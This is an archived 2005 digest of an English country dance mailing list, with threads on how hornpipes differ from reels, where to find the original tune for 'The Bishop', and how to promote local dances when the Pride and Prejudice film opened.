http://www.colinhume.com ================================================================================ Archive-Date: Tue, 20 Sep 2005 03:35:36 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050920103509.85623.qmail-AT-web51311.mail.yahoo.com> Date: Tue, 20 Sep 2005 03:35:09 -0700 (PDT) From: G Wesley Brown Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Hornpipes To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Don't hornpipes typically have a longer phrase than reels? In my mind (and I'm not a musician) reels have an 8 beat phrase repeated four times for each strain (A and B). Whereas hornpipes have a 16 beat phrase that differs slightly from the first to the second repetition. Also hornpipes have the ""bump, bump"" at the end of the second phrase. Wesley Brown --- Colin Hume wrote: > In contra dance music is there any audible difference between a reel > and a hornpipe? Is the notational difference that a hornpipe is > always written with four beats to the bar and a reel with two? G. Wesley Brown http://www.geocities.com/tulsabarndance/ ______________________________________________________ Yahoo! for Good Donate to the Hurricane Katrina relief effort. http://store.yahoo.com/redcross-donate3/ ================================================================================ Archive-Date: Tue, 20 Sep 2005 05:38:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 12:36:30 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] The Bishop Content-Type: multipart/alternative;boundary=""--__JWM__J237c.2f1cS.7de1M"" Message-ID: <20050920.053717.17266.519237-AT-webmail34.nyc.untd.com> ----__JWM__J237c.2f1cS.7de1M Content-Disposition: inline Content-Type: text/plain Where can one find the original tune to The Bishop? Allison Thompson ----__JWM__J237c.2f1cS.7de1M Content-Disposition: inline Content-Type: text/html Where can one find the original tune to The Bishop? Allison Thompson ----__JWM__J237c.2f1cS.7de1M-- ================================================================================ Archive-Date: Tue, 20 Sep 2005 06:22:12 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v622) References: <20050920.053717.17266.519237-AT-webmail34.nyc.untd.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-ID: <55c4e471321a7bff445487dce5558072-AT-cogeco.ca> Content-Transfer-Encoding: 7bit From: Torbin Zimmerman Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] The Bishop Date: Tue, 20 Sep 2005 09:21:57 -0400 To: ECD-AT-ssrl04.slac.stanford.edu It's published the book ""Grand Master Dancing Master"" and can be heard on the accompanying cd. You can order both from Faim Music at http://www.fleming-williams.co.uk/ Torbin Zimmerman On Sep 20, 2005, at 8:36 AM, allisonthompson-AT-juno.com wrote: > Where can one find the original tune to The Bishop? > > Allison Thompson ================================================================================ Archive-Date: Tue, 20 Sep 2005 06:30:05 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: From: ""Marge Cramton"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <20050920.053717.17266.519237-AT-webmail34.nyc.untd.com> <55c4e471321a7bff445487dce5558072-AT-cogeco.ca> Subject: Re: [ECD] The Bishop Date: Tue, 20 Sep 2005 09:29:36 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=response Content-Transfer-Encoding: 7bit If anyone wants to hear it, it's also on Childgrove's CD, ""Early Instincts,"" childgrovemusic-AT-hotmail.com Marge ----- Original Message ----- From: ""Torbin Zimmerman"" To: Sent: Tuesday, September 20, 2005 9:21 AM Subject: Re: [ECD] The Bishop > It's published the book ""Grand Master Dancing Master"" and can be heard > on the accompanying cd. > > You can order both from Faim Music at http://www.fleming-williams.co.uk/ > > Torbin Zimmerman > > On Sep 20, 2005, at 8:36 AM, allisonthompson-AT-juno.com wrote: > >> Where can one find the original tune to The Bishop? >> >> Allison Thompson > > ================================================================================ Archive-Date: Tue, 20 Sep 2005 06:36:19 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050920133605.77684.qmail-AT-web32413.mail.mud.yahoo.com> Date: Tue, 20 Sep 2005 06:36:05 -0700 (PDT) From: Graham Christian Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] The Bishop To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Allison--isn't it reproduced in Keller/Shimer? look at the bottom of the page for *The Bishop*... --- ""allisonthompson-AT-juno.com"" wrote: > Where can one find the original tune to The Bishop? > Allison Thompson > Graham ""Sphinx of black quartz, judge my vow."" ================================================================================ Archive-Date: Tue, 20 Sep 2005 07:30:03 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Hornpipes MIME-Version: 1.0 Message-ID: From: Campbell Kaynor Reply-To: ECD-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 10:29:41 -0400 Content-Type: text/plain; charset=""US-ASCII"" G Wesley Brown asks - ""Don't hornpipes typically have a longer phrase than reels? In my mind (and I'm not a musician) reels have an 8 beat phrase repeated four times for each strain (A and B). Whereas hornpipes have a 16 beat phrase that differs slightly from the first to the second repetition. Also hornpipes have the ""bump, bump"" at the end of the second phrase."" The hornpipes and reels that I play don't seem to follow any particular trend that would separate the genres. Assuming that a step in a reel is equivalent to a step-hop in a hornpipe, most of my tunes have 16/phrase. Both reels and hornpipes are often subdividable after 8 steps either through recapitulation of the first 8 (with modifications near the end) or with a second motif. But many of both types are not and run right through all 16 without a melodic pause. These are factors we musicians consider as we select tunes to go with a dance (i.e., if the figure is 16 steps long, 8 step phrasing can be confusing while 16 step phrases generally discourage people from stopping too early and assist the dancers to get it right without lots of calling). Another feature we consider is whether the phrases come to a solid stop at the end as in the ""bump, bump"" tunes or facilitates elision of the figures (e.g., running 16th notes through the double bar) where the final note of the melodic phrase often doubles as beat one of the next phrase). There may be a generalization here. Although the bump, bump, bump endings are common in many reels, the run-through endings seem to be rare in the hornpipes I play (and the exceptions may have been corruptions of the original versions). Speaking of corruptions, part of being a dance musician is being able to adjust the melody to particularly suit the dance. Although we try to select tunes appropriate for the dance, we often have to insert double stops, melodic improvisations, rhythmic anomalies, etc... in order to get the melody to be as instructive to the dancers as calls. Easy examples are tunes like Chorus Jig where the 4th part is written the same as the second part but since the figure begins with a balance, it is only played the same by musicians who are oblivious to the dancers. This is relevant to the discussion on hornpipes versus reels because we may often insert the bump, bump, bump onto a phrase of a reel that technically doesn't have one, or add a run to the end of a hornpipe that technically has the bumps. G Campbell Kaynor ================================================================================ Archive-Date: Tue, 20 Sep 2005 07:32:54 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] The Bishop MIME-Version: 1.0 Message-ID: From: Campbell Kaynor Reply-To: ECD-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 10:32:37 -0400 Content-Type: text/plain; charset=""US-ASCII"" On Sep 20, 2005, at 8:36 AM, allisonthompson-AT-juno.com wrote: > Where can one find the original tune to The Bishop? > > Allison Thompson Isn't it in the Playford Ball? It is my recollection that the original tune is better suited to the dance, but most dancers love dancing it to Miss Dolland's Delight. Cammy ================================================================================ Archive-Date: Tue, 20 Sep 2005 09:21:50 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 12:21:21 -0400 Message-ID: <8C78C1679092D14-133C-1531-AT-FWM-R14.sysops.aol.com> From: davbarnert-AT-aol.com Reply-To: ECD-AT-playford.slac.stanford.edu References: <00A4A139.64D81FCE.1-AT-playford.slac.stanford.edu> CC: colin-AT-colinhume.com Subject: [ECD] Re: ECD Digest V1 #1831 Content-Type: text/plain; charset=""us-ascii""; format=flowed MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Colin wrote: > The tune ""Sailor's Hornpipe"" is a Scottish hornpipe... The traditional name for that tune is ""College Hornpipe."" I don't know if it was commonly referred to as ""Sailor's Hornpipe"" before ""Popeye"" used it. It's in Cole's as ""College Hornpipe."" > For instance, ""Fisher's Hornpipe is a traditional dance tune dating > back to the late 1700's according to the web page > http://www.melbay.com/mandolinsessions/feb05/building.html Kitty Keller once showed me the original source for this tune, and it was spelled ""Fischer's,"" having been composed by one Johann Fischer. David Barnert Albany NY ================================================================================ Archive-Date: Tue, 20 Sep 2005 09:56:55 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <001f01c5be03$f8d33de0$478f4a0c-AT-compaq14453453> From: ""Paul Stamler"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <20050920.053717.17266.519237-AT-webmail34.nyc.untd.com> Subject: Re: [ECD] The Bishop Date: Tue, 20 Sep 2005 11:54:30 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit <> In Playford, a facsimile of which is in ""The Playford Ball"". I've done a transcription of that, which I'd be happy to send as a .pdf to anyone who requests it. Peace, Paul ================================================================================ Archive-Date: Tue, 20 Sep 2005 10:38:24 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 18:38:03 +0100 Subject: [ECD] Re: Pride & Prejudice From: Nicolas Broadbridge Reply-To: ECD-AT-playford.slac.stanford.edu To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit >Where can one find the original tune to The Bishop? >Allison Thompson > It's published the book ""Grand Master Dancing Master"" and can be heard > on the accompanying cd. ***************** >If anyone wants to hear it, it's also on Childgrove's CD, ""Early Instincts,"" ......... and oddly enough, having said that all the dances were selected from three Assembly Players CDs, it also features on our 'Dance & Danceability' :-) We medleyed it with 'Miss Dolland's Delight' for fear of giving offence to too many ""traditionalists""! People find the change quite exciting. Nicolas Broadbridge www.nicolasbroadbridge.com ================================================================================ Archive-Date: Tue, 20 Sep 2005 11:06:25 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu From: ""Michael Barraclough"" Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] The Bishop Date: Tue, 20 Sep 2005 19:06:07 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit You can find the tune in 'abc' notation and the midi file on my website at http://www.michaelbarraclough.com/michael/notations.html Regards - Michael Barraclough http://www.michaelbarraclough.com ----- Original Message ----- From: ""allisonthompson-AT-juno.com"" To: ECD-AT-ssrl04.slac.stanford.edu Sent: Tue, 20 Sep 2005 12:36:30 GMT Where can one find the original tune to The Bishop? Allison Thompson --- All messages scanned by AVG 7.0 Anti-Virus scanner and TGIS Anti-Spam Firewall. ================================================================================ Archive-Date: Tue, 20 Sep 2005 11:26:36 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <2005919173054.309811-AT-Colin> <005301c5bd5a$23cdbfc0$0200a8c0-AT-DELLLAPTOP> Date: Tue, 20 Sep 2005 11:26:08 -0700 To: ECD-AT-ssrl04.slac.stanford.edu From: Beth Zekley Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Hornpipes Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" >Gene Murrow wrote: >""Hornpipe"" -- the musical instrument-- in this context is the cylindrical >bore wooden instrument with finger holes like a recorder or tin whistle, an >animal horn bell (widening cone at the bottom) and animal horn mouthpiece to >accommodate a single reed, as used on the clarinet. It's been around since >medieval times, and considered obsolete (in polite society anyway) by 1600 >or so... There are stops on the accordion that emulate the sound quite >well, so an accordionist playing hornpipes is probably not punishable by >law! Good choice for the workshop. Further information on hornpipe, the musical instrument: The most common instrument in the British Isles of this description is the Welsh pibcorn. The single beating reed (not quite the same as a clarinet reed) is actually identical to the drone reed used in most types of bagpipes. Historically the reeds were made from either arondo donex cane, or fashioned from small elder branches; makers still use these materials. The earliest hornpipe bodies were made out of cane, and there are hornpipe-type instruments from North Africa and the Middle East that are still made that way. Most British Isles varieties of hornpipes were made of wood. In all cases, the total bore of the instrument was cylindrical in nature, with the animal horn used as a bell for amplification. Many varieties have a horn mouthpiece over the reed; other varieties the reeds were actually put in the mouth directly. --as per my husband, Mickie Zekley, founder of Lark In The Morning music [I play a bit on the pibcorn myself, mine is made by Alan Keith http://www.keithmusic.com I'm afraid there's no picture of it on his website.] Irish hornpipes are played with a dotted rhythm, but written as straight rhythm, like a reel. The tunes are of varying lengths. Many of the contra dance hornpipes (and reels and jigs for that matter) were originally Irish tunes. -- Musically yours, Beth Zekley *** LARK CAMP *** PO Box 1176 Mendocino, California 95460 USA Lark Camp Phone (707) 964-4826 email beth-AT-larkcamp.com Lark Camp Website http://www.larkcamp.com Mickie & Elizabeth Website http://www.celticweddingmusic.net *** MENDOCINO ENGLISH COUNTRY DANCES *** http://www.larkcamp.com/mendoengdance.htm Phone (707) 964-4826 ================================================================================ Archive-Date: Tue, 20 Sep 2005 11:50:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 18:48:55 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] The Bishop Content-Type: multipart/alternative;boundary=""--__JWM__J237c.2f1cS.7de1M"" Message-ID: <20050920.114903.12727.525162-AT-webmail24.nyc.untd.com> ----__JWM__J237c.2f1cS.7de1M Content-Disposition: inline Content-Type: text/plain Thanks for all who replied as to where to find the original tune. I checked out Michael's site at http://www.michaelbarraclough.com/michael/notations.html and there found that the Apted reconstructors (Porter & the two Heffners) took considerable liberties with this dance: changed tune, changed rhythm from jig to 2/4, added setting, added gypsies, added gates, and some other stuff. The dance as we know it is really quite unrecognizeable compared to the originals shown in Playford Ball. Do we know if they did this to the other Apted dances? Why did they do this? (I don't disagree that they created a great dance, but still....) Allison ----__JWM__J237c.2f1cS.7de1M Content-Disposition: inline Content-Type: text/html Thanks for all who replied as to where to find the original tune. I checked out Michael's site at http://www.michaelbarraclough.com/michael/notations.htmland there found that the Apted reconstructors (Porter & the two Heffners) took considerable liberties with this dance: changed tune, changed rhythm from jig to 2/4, added setting, added gypsies, added gates, and some other stuff. The dance as we know it is really quite unrecognizeable compared to the originals shown in Playford Ball. Do we know if they did this to the other Apted dances? Why did they do this? (I don't disagree that they created a great dance, but still....) Allison ----__JWM__J237c.2f1cS.7de1M-- ================================================================================ Archive-Date: Tue, 20 Sep 2005 12:44:54 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <000601c5be1c$041f2980$6701a8c0-AT-DavidDell> From: ""David Green"" Reply-To: ECD-AT-playford.slac.stanford.edu To: ""ECD List"" Subject: Fw: [ECD] Pride and Prejudice Date: Tue, 20 Sep 2005 12:46:38 -0700 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=response Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Sharon Green"" To: Sent: Tuesday, September 20, 2005 12:36 PM Subject: Re: [ECD] Pride and Prejudice At 09:13 AM 9/19/2005, Gary Shapiro wrote: >>According to >> >>http://www.prideandprejudicemovie.net/home.html >> >>opening on November 18. >> >>How do we exploit this to promote our local dances? Flyers? Demos? >>Klieg lights? Pride and Prejudice originally was scheduled to open on September 23, and so I set up our September 24th experienced English dance as a Jane Austen dance party for all. (Imagine how I felt when Focus Feature changed the film's US release date!) The Austen dance takes place this coming Saturday. So far we've been listed on Craigslist, sfstation & tribe.net, and hope to attract dancers from Dickens Fair, Bay Area English Regency Society, Gaskells, & PEERS. I've also sent flyers & invitations to various UC professors who are teaching Austen this semester; I hope to get flyers to the classes this week. I also hope to get some dancers with flyers about our regular dance series to the film's November premiere. A little street-dancing and who knows what loge potato will be inspired to get off his seat and dance... Ever optimistically, Sharon (With thanks, as always, to New York's Austen guru, the inimitable Beverly Francis, whom I hope to channel on Saturday night) ================================================================================ Archive-Date: Tue, 20 Sep 2005 14:03:04 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050920210243.99836.qmail-AT-web52610.mail.yahoo.com> Date: Tue, 20 Sep 2005 14:02:43 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] HERITAGE DANCE FESTIVAL (near Philly) -- THIS WEEKEND !! To: ""ecd-AT-ssrl04.slac.stanford.edu"" , dvecd , ""englishcountrydance-AT-yahoogroups.com"" MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit THIS WEEKEND -- SEPTEMBER 23, 24 AND 25 The 22nd Annual HERITAGE DANCE FESTIVAL !! Lots of workshops, lots of music, lots of performances, and lots and lots of just plain dancing for fun -- four, five, six, seven things going on at the same time, plus food, crafts, silent auction, and more!! Contra dancing; international folk dances; swing dancing; waltz, salsa, tango and other couple dances; square dances; cajun & zydeco dancing -- the list goes on and on -- you name it and we've got it! So come on out and watch, listen, learn (?), and DANCE . . . and HAVE FUN !! Heritage rents much of the Plymouth-Whitemarsh High School building (see directions below) for the duration of the festival and has lots of different kinds of dance, music and other events going on all over the building throughout the weekend! The festival is staged by the non-profit Heritage Dance Association. For additional information, see www.heritagedancefestival.com or call (215) 635-1013 DIRECTIONS TO THE HERITAGE DANCE FESTIVAL (in the Plymouth-Whitemarsh High School building) From the NORTH or WEST: Take the PA Turnpike (I-76/276) to the exit for Germantown Pike/Norristown (Exit 333) Get on Germantown Pike EAST for one mile. The school is on the left. From the SOUTH: Follow I- 95 or US 1 north to I-476 (the Blue Route). [Go to ""From I-476"" below.] From the SCHUYLKILL EXPRESSWAY (I-76 IN PHILA): Follow the expressway west from Phila. (east from US 202 or Valley Forge) to I-476 north (Exit 331). [Go to ""From I-476"" below.] From I-476 (the Blue Route): Take I-476 to the exit for Germantown Pike EAST (Exit 19). Merge onto Chemical Road and go 0.4 miles to the traffic light at Germantown Pike. Turn right onto Germantown Pike and go 0.7 miles to the school, on the left. From NORTHWEST PHILADELPHIA: Follow Germantown Avenue through Chestnut Hill and cross Northwestern Avenue. The school is 2.4 miles beyond Northwestern Ave, on the right. PUBLIC TRANSPORTATION: Contact SEPTA at 215-580-7800 or www.septa.com. -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* ""The test of our progress is not whether we add more to the abundance of those who have much; it is whether we provide enough for those who have too little."" - Franklin Roosevelt ================================================================================ Archive-Date: Tue, 20 Sep 2005 14:20:58 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050920212043.9191.qmail-AT-web52611.mail.yahoo.com> Date: Tue, 20 Sep 2005 14:20:43 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: Fw: [ECD] Pride and Prejudice To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit You might want to offer to do dance demos at opening night at a local theatre. I've done several sword-fighting demos when a Medieval-type movie opened and it was a lot of fun. Bring flyers to hand out to folks waiting in line. Tom DE --- David Green wrote: > > ----- Original Message ----- > From: ""Sharon Green"" > To: > Sent: Tuesday, September 20, 2005 12:36 PM > Subject: Re: [ECD] Pride and Prejudice > > > At 09:13 AM 9/19/2005, Gary Shapiro wrote: > >>According to > >> > >>http://www.prideandprejudicemovie.net/home.html > >> > >>opening on November 18. > >> > >>How do we exploit this to promote our local dances? Flyers? Demos? > >>Klieg lights? > > Pride and Prejudice originally was scheduled to open on September > 23, and > so I set up our September 24th experienced English dance as a Jane > Austen > dance party for all. (Imagine how I felt when Focus Feature changed > the > film's US release date!) > > The Austen dance takes place this coming Saturday. So far we've > been > listed on Craigslist, sfstation & tribe.net, and hope to attract > dancers > from Dickens Fair, Bay Area English Regency Society, Gaskells, & > PEERS. I've also sent flyers & invitations to various UC professors > who > are teaching Austen this semester; I hope to get flyers to the > classes this > week. > > I also hope to get some dancers with flyers about our regular dance > series > to the film's November premiere. A little street-dancing and who > knows > what loge potato will be inspired to get off his seat and dance... > > Ever optimistically, > Sharon > > (With thanks, as always, to New York's Austen guru, the inimitable > Beverly > Francis, whom I hope to channel on Saturday night) > > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* ""The test of our progress is not whether we add more to the abundance of those who have much; it is whether we provide enough for those who have too little."" - Franklin Roosevelt ================================================================================ Archive-Date: Tue, 20 Sep 2005 19:04:23 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 20 Sep 2005 18:56:06 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] Maggot Pie To: Colin Hume CC: ECD Mailing List Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LT9JLU4CVSA0WH5N-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Colin wrote: > Maggot Pie, published in 1932, was the first new book of English > Country Dances since... when? The previous Playford-style dance in my > repertoire is ""Philandering"", from W Blackman's ""24 Country Dances and > Quadrilles"" of 1826. Were there any later publications, and do we > ever dance anything from them? Without knowing anything about it, and several hundred miles away from my dance books here, I seem to recall that Barnes gives music for ""The Herne Bay Dance"" and says ""Longman, Clementi and Co"" and ""1832"". I don't pretend to know any more about it than that. But the question is, I think, at what point do we draw the line between cotillions/quadrilles/other formations and ""Playford-style"" dancing? (Especially since you clearly mean something other than up-a-double-siding-and-arming when you say ""Playford-style"".) Cruising through the Library of Congress dance book collection on line, there are definitely books from as late as the 1850s - I'm thinking of Howe in particular - which focus primarily on non-quadrille country dances (longways duple, triple, and ""Spanish dance""/Sicilian Circle formations), and which gain new material in subsequent editions Those are American books; do they count? (Maybe not, for English country dance, but that seems a little arbitrary.) -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Tue, 20 Sep 2005 19:36:26 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Wed, 21 Sep 2005 02:34:42 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Re: Fw: [ECD] Pride and Prejudice Content-Type: multipart/alternative;boundary=""--__JWM__J446b.794bS.15fbM"" Message-ID: <20050920.193525.27977.528990-AT-webmail05.nyc.untd.com> ----__JWM__J446b.794bS.15fbM Content-Disposition: inline Content-Type: text/plain Why, yes, of course. Of course, a tad less physically amusing than your average SCA evening, but still, sure to win hearts everywhere. Get in line and do the following: Fans UP!: ""How Dare You Pollute the Shades of Pemberley, Madam!"" Fans at 10%, in-Wards Facing: ""For what do we live, but for to make fun of others, and to be laughed at at our tunr?"" Fans at 0%, Outwards-Facing: ""You must allow me to tell you How Ardently I Admire You."" (Big Sex Scene here, in case you skipped over it.) And, Fans at 180%, ""The Duello of Honor,"" sung Obbligatto by Mssrs Willoughby, Brandon, Morland, and Bertram. Woo-hoo, boys, this'll bring 'em in if nuthin will. A. Thompson -- Tom Vincent wrote: You might want to offer to do dance demos at opening night at a local theatre. I've done several sword-fighting demos when a Medieval-type movie opened and it was a lot of fun. Bring flyers to hand out to folks waiting in line. Tom DE --- David Green wrote: > > ----- Original Message ----- > From: ""Sharon Green"" > To: > Sent: Tuesday, September 20, 2005 12:36 PM > Subject: [ECD] Re: [ECD] Pride and Prejudice > > > At 09:13 AM 9/19/2005, Gary Shapiro wrote: > >>According to > >> > >>http://www.prideandprejudicemovie.net/home.html > >> > >>opening on November 18. > >> > >>How do we exploit this to promote our local dances? Flyers? Demos? > >>Klieg lights? > > Pride and Prejudice originally was scheduled to open on September > 23, and > so I set up our September 24th experienced English dance as a Jane > Austen > dance party for all. (Imagine how I felt when Focus Feature changed > the > film's US release date!) > > The Austen dance takes place this coming Saturday. So far we've > been > listed on Craigslist, sfstation & tribe.net, and hope to attract > dancers > from Dickens Fair, Bay Area English Regency Society, Gaskells, & > PEERS. I've also sent flyers & invitations to various UC professors > who > are teaching Austen this semester; I hope to get flyers to the > classes this > week. > > I also hope to get some dancers with flyers about our regular dance > series > to the film's November premiere. A little street-dancing and who > knows > what loge potato will be inspired to get off his seat and dance... > > Ever optimistically, > Sharon > > (With thanks, as always, to New York's Austen guru, the inimitable > Beverly > Francis, whom I hope to channel on Saturday night) > > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* ""The test of our progress is not whether we add more to the abundance of those who have much; it is whether we provide enough for those who have too little."" - Franklin Roosevelt ----__JWM__J446b.794bS.15fbM Content-Disposition: inline Content-Type: text/html Why, yes, of course. Of course, a tad less physically amusing than your average SCA evening, but still, sure to win hearts everywhere. Get in line and do the following: Fans UP!: ""How Dare You Pollute the Shades of Pemberley, Madam!"" Fans at 10%, in-Wards Facing: ""For what do we live, but for to make fun of others, and to be laughed at at our tunr?"" Fans at 0%, Outwards-Facing: ""You must allow me to tell you How Ardently I Admire You."" (Big Sex Scene here, in case you skipped over it.) And, Fans at 180%, ""The Duello of Honor,"" sung Obbligatto by Mssrs Willoughby, Brandon, Morland, and Bertram. Woo-hoo, boys, this'll bring 'em in if nuthin will. A. Thompson -- Tom Vincent  wrote:You might want to offer to do dance demos at opening night at a localtheatre.I've done several sword-fighting demos when a Medieval-type movieopened and it was a lot of fun.Bring flyers to hand out to folks waiting in line.TomDE--- David Green  wrote:>> ----- Original Message -----> From: ""Sharon Green"" > To: > Sent: Tuesday, September 20, 2005 12:36 PM> Subject: [ECD] Re: [ECD] Pride and Prejudice>! ;>>  At 09:13 AM 9/19/2005, Gary Shapiro wrote:> >>According to> >>> >>http://www.prideandprejudicemovie.net/home.html> >>> >>opening on November 18.> >>> >>How do we exploit this to promote our local dances? Flyers? Demos?> >>Klieg lights?>>  Pride and Prejudice originally was scheduled to open on September> 23, and>  so I set up our September 24th experienced English dance as a Jane> Austen>  dance party for all.  (Imagine how I felt when Focus Feature ! ;changed> the>  film's US relea se date!)>>  The Austen dance takes place this coming Saturday.  So far we've> been>  listed on Craigslist, sfstation & tribe.net, and hope to attract> dancers>  from Dickens Fair, Bay Area English Regency Society, Gaskells, &>  PEERS.  I've also sent flyers & invitations to various UC professors> who>  are teaching Austen this semester; I hope to get flyers to the> classes this>  week.>>  I also hope to get some dancers with flyers about our regular dance>&nb! sp;series>  to the film's November premiere.  A little street-dancing and who> knows>  what loge potato will be inspired to get off his seat and dance...>>  Ever optimistically,>  Sharon>>  (With thanks, as always, to New York's Austen guru, the inimitable> Beverly>  Francis, whom I hope to channel on Saturday night)>>>-*-*-*-*-*-*-*-*-*Tom Vincent-*-*-*-*-*-*-*-*-*""The test of our progress is not whether we add more to the abundance of those who have much; it is whether ! ;we provide enough for those who have&nb sp;too little."" - Franklin Roosevelt ----__JWM__J446b.794bS.15fbM-- ================================================================================ Archive-Date: Wed, 21 Sep 2005 06:59:15 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <001d01c5beb4$9e633660$0301a8c0-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <20050920.193525.27977.528990-AT-webmail05.nyc.untd.com> Subject: Re: [ECD] Re: Fw: [ECD] Pride and Prejudice Date: Wed, 21 Sep 2005 09:56:26 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0016_01C5BE92.BB6F3FA0"" This is a multi-part message in MIME format. ------=_NextPart_000_0016_01C5BE92.BB6F3FA0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I don't know what the 'fans' stuff is, but giving a dance demo at a = location full of people pretty much self-selected to be interested in = the subject matter is as close to shooting fish in a barrel for = recruiting new dancers. My other suggestion would be to *not* be in garb, as it tends to make = the dancing look that much more inaccessible and 'cultish'. I guess it = all depends on whether you're trying to just add to the film's = atmosphere or show that the dances in the movie are easy to learn, = locally available, fun and don't require hundreds of dollars in costumes = just to get into it. Tom ----- Original Message -----=20 From: allisonthompson-AT-juno.com=20 To: ECD-AT-ssrl04.slac.stanford.edu=20 Sent: Tuesday, September 20, 2005 10:34 PM Subject: [ECD] Re: Fw: [ECD] Pride and Prejudice Why, yes, of course. Of course, a tad less physically amusing than = your average SCA evening, but still, sure to win hearts everywhere. Get = in line and do the following: Fans UP!: ""How Dare You Pollute the Shades of Pemberley, Madam!"" Fans at 10%, in-Wards Facing: ""For what do we live, but for to make = fun of others, and to be laughed at at our tunr?"" Fans at 0%, Outwards-Facing: ""You must allow me to tell you How = Ardently I Admire You."" (Big Sex Scene here, in case you skipped over = it.) And, Fans at 180%, ""The Duello of Honor,"" sung Obbligatto by Mssrs = Willoughby, Brandon, Morland, and Bertram. Woo-hoo, boys, this'll bring = 'em in if nuthin will. A. Thompson ------=_NextPart_000_0016_01C5BE92.BB6F3FA0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I don't know what the 'fans' stuff is, = but giving a=20 dance demo at a location full of people pretty much self-selected to be=20 interested in the subject matter is as close to shooting fish in a = barrel for=20 recruiting new dancers.   My other suggestion would be to *not* = be in garb,=20 as it tends to make the dancing look that much more inaccessible and=20 'cultish'.  I guess it all depends on whether you're trying to just = add to=20 the film's atmosphere or show that the dances in the movie are easy to = learn,=20 